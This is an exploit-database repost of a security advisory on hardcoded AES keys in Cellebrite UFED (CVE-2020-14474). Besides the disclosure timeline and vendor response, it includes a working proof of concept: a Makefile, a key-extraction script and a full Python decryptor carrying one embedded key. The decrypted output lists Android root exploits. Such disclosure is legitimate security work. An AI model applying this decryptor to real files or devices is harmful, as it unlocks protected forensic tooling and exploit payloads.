0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Cellebrite EPR Decryption Hardcoded AES Key Material Vulnerability
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
Title: Cellebrite EPR Decryption Relies on Hardcoded AES Key Material Advisory ID: KL-001-2020-003 Publication Date: 2020.06.29 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2020-003.txt 1. Vulnerability Details Affected Vendor: Cellebrite Affected Product: UFED Affected Version: 5.0 - 7.5.0.845 Platform: Embedded Windows CWE Classification: CWE-321: Hardcoded Use of Cryptography Keys CVE ID: CVE-2020-14474 2. Vulnerability Description The Cellebrite UFED Physical device relies on key material hardcoded within both the executable code supporting the decryption process and within the encrypted files themselves by using a key enveloping technique. The recovered key material is the same for every device running the same version of the software and does not appear to be changed with each new build. It is possible to reconstruct the decryption process using the hardcoded key material and obtain easy access to otherwise protected data. 3. Technical Description A recursive listing of my standalone decryptor directory: $ find . . ./decrypt-epr ./input ./input/DLLs ./input/DLLs/731 ./input/DLLs/731/FileUnpacking.dll ./input/EPRs ./input/EPRs/731 ./input/EPRs/731/Android.zip.epr ./output ./output/EPRs ./output/EPRs/731 ./extract-keys ./Makefile (See the Proof of Concept section for relevant code snippets.) First, we start by running the extract-keys script on the relevant FileUnpacking.dll file. The provided Makefile will automatically output the relevant key material to the same directory where the DLL resides. $ make keys Extracting AES keys from input/DLLs/731/FileUnpacking.dll 64+0 records in 64+0 records out 64 bytes copied, 0.000186032 s, 344 kB/s 32+0 records in 32+0 records out 32 bytes copied, 0.000116104 s, 276 kB/s 636+0 records in 636+0 records out 636 bytes copied, 0.00140342 s, 453 kB/s Finished The extract-keys script contains a nested JSON-object and iterates over the bytes of the file provided creating a SHA256 hash for each DWORD. The calculated hash is compared against known matches and when found the script will automatically extract the bytes relevant. Now a selected EPR file may be decrypted. A good example is the Android.zip.epr file, which contains a set of local privilege escalation exploits. $ ./decrypt-epr --verbose --file input/EPRs/731/Android.zip.epr [+] The EPR file specified exists. [+] The specified EPR file has been read into memory. [-] Decrypter setup with key 1 for version 3 [+] Round one of the EPR decryption completed successfully. [-] Calculated that the flag will be: [REDACTED] [+] The SHA256 key flag has been calculated. [-] Found the flag: [REDACTED] [+] The SHA256 key flag has been found. [-] Decrypter setup with key 2 for version 3 [+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV. [-] AES Key: [REDACTED], IV: [REDACTED] [-] Decrypter setup with key 3 for version 3 [-] Finished decrypting all blocks. [-] Writing bytes to: input/EPRs/731/Android.zip.epr.broken [-] Wrote 2552640 bytes to a broken file. [+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been decrypted. [-] Running: zip -FF input/EPRs/731/Android.zip.epr.broken --out input/EPRs/731/Android.zip.epr.zip > /dev/null 2>&1 [-] Removing the broken file. [+] Decrypted file available at output/EPRs/731/Android.zip.epr.zip [+] done. The decrypted file can then be unzipped. $ unzip Android.zip.epr.zip Archive: Android.zip.epr.zip inflating: c2a_disable_selinux_32.ko inflating: c2a_disable_selinux_64.ko inflating: com.mr.meeseeks.apk inflating: daemonize inflating: dirtycow inflating: dirtycow_32 inflating: DisableHuaweiLogging_2.1.5767a inflating: django_2.1.5767a inflating: EnableHuaweiLogging_2.1.5767a inflating: EnableSharpRead_2.1.5767a inflating: exploits_2.1.5769.csv inflating: forensics inflating: fourrunnerStatic_2.1.5767a inflating: gb_2.1.5767a inflating: nandd inflating: nandread-pie-vold inflating: nandread-pie_7182 inflating: nandread64-pie-vold inflating: nandreadStatic_7182 inflating: patcher.exe inflating: pingroot inflating: pingroot_vultest inflating: psneuter_2.1.5767a inflating: RecoveryImageMap.csv inflating: rootspotter.apk inflating: rootspot_verify_env inflating: rosecure_2.1.5767a inflating: setuid_2.1.5767a inflating: shellcode.bin inflating: shellcode_32_iptables.bin inflating: shellcode_32_oatdump.bin inflating: zergRush_2.1.5767a The encryption algorithm uses a software-only key enveloping technique where part of the key material is stored within executable code and part within a encrypted header inside of the encrypted file. The encrypted header is extracted from the encrypted file and decrypted using key material hardcoded within executable code. Some of the bytes decrypted then undergo a XOR operation to calculate the last DWORD of a SHA256 hash. Separately, a set of 254 bytes is iterated over using 64 bytes per iteration. A complete SHA256 hash is generated for each set of 64-bytes and the ending DWORD of this hash is then compared against the calculated DWORD. If there is a match the bytes used to calculate the DWORD are the next set of key material. The decryption tool outputs the following match: [-] Calculated that the flag will be: [REDACTED] [+] The SHA256 key flag has been calculated. [-] Found the flag: [REDACTED] The last DWORD matches. In fact there are a total of eight possible intermediate keys that can be chosen from based on the bytes observed. A third and final key exists within each encrypted file header. This key is decrypted using the hardcoded intermediate key used for encrypted the selected file. From here bytes 0x80 through the end of the file are decrypted in blocks of 0x10000. 4. Mitigation and Remediation Recommendation The vendor has informed KoreLogic that this vulnerability is not present on recent versions of the UFED devices. Cellebrite stated, "While the method described in the reports does not work on recent versions (we previously made multiple changes that broke it), the core key material was exposed and will be rotated effective immediately." 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2020.04.02 - KoreLogic submits vulnerability details to Cellebrite. 2020.04.02 - Cellebrite acknowledges receipt and the intention to investigate. 2020.05.13 - KoreLogic requests an update on the status of the vulnerability report. 2020.05.14 - Cellebrite responds, notifying KoreLogic that the technique is not applicable to newer UFED releases. Requests time beyond the standard 45 business day embargo to ensure all exposed keys have been changed. 2020.06.09 - 45 business days have elapsed since the report was submitted to Cellebrite. 2020.06.12 - KoreLogic requests an update from Cellebrite. 2020.06.14 - Cellebrite reports that affected key material has been retired. 2020.06.18 - CVE Requested. 2020.06.19 - MITRE issues CVE-2020-14474. 2020.06.29 - KoreLogic public disclosure. 7. Proof of Concept File Name: Makefile clean: for filepath in `find input/DLLs -type f -name '*.keys' -o -name '*.aes' -o -name '*.iv' -o -name '*.map' -o -name '*.zip'`; do \ rm -rf $$filepath ; \ done keys: @for filepath in `find input/DLLs -type f -name '*.dll'` ; do \ echo Extracting AES keys from $$filepath ; \ ./extract-keys --file $$filepath > $$filepath.keys ; \ if [ -f "$$filepath" ] ; then \ dd bs=1 if=$$filepath.keys count=64 of=$$filepath.aes ; \ dd bs=1 if=$$filepath.keys count=32 skip=64 of=$$filepath.iv ; \ dd bs=1 if=$$filepath.keys skip=96 of=$$filepath.map ; \ else \ echo Could not find extract-keys output ; \ fi \ done ; \ echo Finished Script Name: extract-keys #!/usr/bin/python from optparse import OptionParser from os.path import exists, basename from binascii import hexlify from hashlib import sha256 from os import makedirs keyMap = { # UFED 5.1 "Dump_MotGSM.dll":{ "offsets":{ "aes":{ "key":"0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054", # Key and IV already public information "iv":"888c609edc9eb9dfb4d30dfebc9f0431" # https://github.com/cellebrited/cellebrite } } }, # UFED 7.3 "FileUnpacking.dll":[ { "offsets":{ "aes":{ "keySize":32, "keyHash":"[REDACTED]", # sha256 hash of first dword "ivSize":16, "ivHash":"[REDACTED]" # sha256 hash of first dword }, "mapSize":256, "mapHash":"[REDACTED]" # sha256 hash of first dword } } ] } if __name__ == "__main__": parser = OptionParser() parser.add_option("--file",dest="file",default='',help="Decryptor DLL") o,a = parser.parse_args() if (exists(o.file) != True): print "[!] The specified file does not exist" exit(1) try: with open(o.file,'rb') as fp: fileData = fp.read() print "[-] Read {} bytes.".format(len(fileData)) if (isinstance(keyMap[basename(o.file)], str)): if ("Dump_MotGSM.dll" == basename(o.file)): print keyMap[basename(o.file)]["offsets"]["aes"]["key"] + keyMap[basename(o.file)]["offsets"]["aes"]["iv"] else: foundKey, foundIV, foundMap = False, False, False for i in xrange(0, len(keyMap[basename(o.file)])): for pos in xrange(0,len(fileData)): nextDWORD = hexlify(fileData[pos:pos+4]) if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["keyHash"] and not foundKey): foundKey = True aesKey = hexlify(fileData[pos:pos+32]) print "[+] Found key at {}. Value: {}".format(hex(pos),aesKey) if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["ivHash"] and not foundIV): foundIV = True aesIV = hexlify(fileData[pos:pos+16]) print "[+] Found IV at {}. Value: {}".format(hex(pos),aesIV) if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["mapHash"] and not foundMap): foundMap = True aesMap = hexlify(fileData[pos:pos+keyMap[basename(o.file)][i]["offsets"]["mapSize"]]) print "[+] Found map at {}. Value: {}".format(hex(pos),aesMap) if (foundKey and foundIV and foundMap): break pos+=1 except Exception as e: print "[!] Could not read the specified file. Reason: {}".format(e) exit(0) Script Name: decrypt-epr #!/usr/bin/python from logging.handlers import TimedRotatingFileHandler from optparse import OptionParser from os.path import exists, getsize, dirname, realpath from os.path import join as path_join from os import system, remove from shutil import move from Crypto.Cipher import AES from binascii import unhexlify, hexlify from hashlib import sha256 import sys import logging logging.basicConfig( format="%(asctime)s [%(levelname)s] %(message)s", level=logging.INFO, handlers=[ TimedRotatingFileHandler( path_join( dirname(realpath(__file__)), "logger.log", ), interval=1, ), logging.StreamHandler(sys.stdout), ], ) logger = logging.getLogger(__name__) bs = AES.block_size pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs) class EPR: def __init__(self, file, version, verbose): self.epr_v1_aes_key = "0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054" # Already public information self.epr_v1_aes_iv = "888c609edc9eb9dfb4d30dfebc9f0431" # Already public information self.epr_v2_aes_key = "[REDACTED]" self.epr_v2_aes_iv = "[REDACTED]" self.epr_v3_aes_key = self.epr_v2_aes_key self.epr_v3_aes_iv = self.epr_v2_aes_iv self.epr_v2_aes_map = "[REDACTED]" self.epr_v3_aes_map = "[REDACTED]" self.epr_v3_aes_iv_two = None self.file = file or False self.version = version self.encrypted_file = None self.encrypted_epr = None self.encrypted_magic = None self.decrypted_epr = None self.final_epr = b'' self.logging = verbose def file_exists(self): if not self.file: return False return exists(self.file) def can_read_file(self): return getsize(self.file) def read_entire_file(self): try: fp = open(self.file,'rb') self.encrypted_file = fp.read() fp.close() except Exception as e: logger.error("[!] Encountered an exception. Reason: {}".format(e)) return False return True def flat_decrypt(self): self.encrypted_magic = self.encrypted_file[:21] if (self.encrypted_magic[:-2] == "Cellebrite EPR File"): self.encrypted_epr = self.encrypted_file[21:] if self.version == 1: crypter = AES.new(unhexlify(self.epr_v1_aes_key),AES.MODE_CBC,unhexlify(self.epr_v1_aes_iv)) if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version)) else: crypter = AES.new(unhexlify(self.epr_v3_aes_key),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv)) if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version)) try: self.decrypted_epr = crypter.decrypt(self.encrypted_epr) if self.version == 2: self.epr_v2_aes_iv_two = hexlify(self.decrypted_epr[32:48]) elif self.version == 3: self.epr_v3_aes_iv_two = hexlify(self.decrypted_epr[32:48]) else: pass except Exception as e: logger.error("[!] Encountered an exception. Reason: {}".format(e)) return False return True return False def calc_sha256_dword(self): try: to_xor_a = hexlify(self.decrypted_epr[24:28]) to_xor_a = [to_xor_a[i:i+2] for i in range(0, len(to_xor_a), 2)] to_xor_b = hexlify(self.decrypted_epr[28:32]) to_xor_b = [to_xor_b[i:i+2] for i in range(0, len(to_xor_b), 2)] xored_1 = int(to_xor_a[-1],16) ^ int(to_xor_b[-1],16) xored_1 = "{0:0{1}x}".format(xored_1,2) xored_2 = int(to_xor_a[-2],16) ^ int(to_xor_b[-2],16) xored_2 = "{0:0{1}x}".format(xored_2,2) xored_3 = int(to_xor_a[-3],16) ^ int(to_xor_b[-3],16) xored_3 = "{0:0{1}x}".format(xored_3,2) xored_4 = int(to_xor_a[-4],16) ^ int(to_xor_b[-4],16) xored_4 = "{0:0{1}x}".format(xored_4,2) if (self.version == 2): self.epr_v2_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1) if self.logging: logger.info("[-] Calculated that the flag will be: {}".format(self.epr_v2_sha256_flag)) else: self.epr_v3_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1) if self.logging: logger.info("[-] Calculated that the flag will be: {}".format(self.epr_v3_sha256_flag)) except Exception as e: logger.error("[!] Encountered an exception. Reason: {}".format(e)) return False return True def key_map_check(self): found = False if (self.version == 2): for i in range(0, len(self.epr_v2_aes_map), 64): hash = sha256(unhexlify(self.epr_v2_aes_map[i:i+64])).hexdigest() if (hash.endswith(self.epr_v2_sha256_flag)): if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v2_sha256_flag)) found = True self.epr_v2_aes_key_two = self.epr_v2_aes_map[i:i+64] else: for i in range(0, len(self.epr_v3_aes_map), 64): hash = sha256(unhexlify(self.epr_v3_aes_map[i:i+64])).hexdigest() if (hash.endswith(self.epr_v3_sha256_flag)): if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v3_sha256_flag)) found = True self.epr_v3_aes_key_two = self.epr_v3_aes_map[i:i+64] return found def decrypt_key(self): try: if (self.version == 2): crypter = AES.new(unhexlify(self.epr_v2_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_two)) if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version)) self.epr_v2_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80])) self.epr_v2_aes_iv_three = hexlify(self.decrypted_epr[112:128]) else: crypter = AES.new(unhexlify(self.epr_v3_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_two)) if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version)) self.epr_v3_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80])) self.epr_v3_aes_iv_three = hexlify(self.decrypted_epr[112:128]) except Exception as e: logger.error("[!] Encountered an exception. Reason: {}".format(e)) return False return True def decrypt_epr(self): if (self.version == 2): crypter = AES.new(unhexlify(self.epr_v2_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_three)) if self.logging: logger.info("[-] AES Key: {}, IV: {}".format(self.epr_v2_aes_key_three,self.epr_v2_aes_iv_three)) else: crypter = AES.new(unhexlify(self.epr_v3_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_three)) if self.logging: logger.info("[-] AES Key: {}, IV: {}".format(self.epr_v3_aes_key_three,self.epr_v3_aes_iv_three)) if self.logging: logger.info("[-] Decrypter setup with key 3 for version {}".format(self.version)) self.encrypted_epr = self.encrypted_epr[128:] for pos in range(0, len(self.encrypted_epr), 65536): decryptPart = self.encrypted_epr[pos:pos+65536] try: self.final_epr+=crypter.decrypt(decryptPart) except ValueError as e: self.final_epr+=crypter.decrypt(pad(decryptPart)) if self.logging: logger.info("[-] Finished decrypting all blocks.") try: if self.logging: logger.info("[-] Writing bytes to: {}.broken".format(self.file)) fp = open("{}.broken".format(self.file),"wb") fp.write(self.final_epr) fp.close() if self.logging: logger.info("[-] Wrote {} bytes to a broken file.".format(len(self.final_epr))) except Exception as e: logger.error("[!] Encountered an exception. Reason: {}".format(e)) return False return True def zip_FF(self): if self.logging: logger.info("[-] Running: zip -FF {}.broken --out {}.zip > /dev/null 2>&1".format(self.file,self.file)) system("zip -FF {}.broken --out {}.zip > /dev/null 2>&1".format(self.file,self.file)) return True def finish(self): if self.logging: logger.info("[-] Removing the broken file.") remove("{}.broken".format(self.file)) move("{}.zip".format(self.file),"{}.zip".format(self.file.replace("input","output"))) logger.info("[+] Decrypted file available at {}.zip".format(self.file.replace("input","output"))) return True def main(): parser = OptionParser() parser.add_option("--file",dest="file",default=False,help="EPR File Path") parser.add_option("--version",dest="version",choices=(str(1),str(2),str(3)),default=str(3),help="EPR Version") parser.add_option("--verbose",dest="verbose",action="store_true",help="Enable verbose mode") o,a = parser.parse_args() o.version = int(o.version) epr = EPR(o.file,o.version,o.verbose) if not epr.file_exists(): logger.info("[!] Unable to find the encrypted EPR file specified.") return False logger.info("[+] The EPR file specified exists.") if not epr.can_read_file(): logger.info("[!] Unable to open a file object to the encrypted EPR file.") return False if not epr.read_entire_file(): logger.info("[!] Unable to read the encrypted EPR file.") return False logger.info("[+] The specified EPR file has been read into memory.") logger.info("[+] Using the version {} decryption process.".format(o.version)) if not epr.flat_decrypt(): logger.info("[!] Unable to run the initial decryption round.") return False logger.info("[+] Round one of the EPR decryption completed successfully.") if not epr.calc_sha256_dword(): logger.info("[!] Unable to calculate the SHA256 key flag.") return False if o.verbose: logger.info("[+] The SHA256 key flag has been calculated.") if not epr.key_map_check(): logger.info("[!] Unable to find a AES key match.") return False if o.verbose: logger.info("[+] The SHA256 key flag has been found.") if not epr.decrypt_key(): logger.info("[!] Could not decrypt the final AES key.") return False logger.info("[+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.") if not epr.decrypt_epr(): logger.info("[!] Unable to decrypt the EPR file.") return False logger.info("[+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been decrypted.") if not epr.zip_FF(): logger.info("[!] Could not clean up garbage.") return False return True if __name__ == "__main__": success = main() if success: logger.info("[+] done") else: logger.info("[!] failed") exit(success) # 0day.today [2024-12-25] #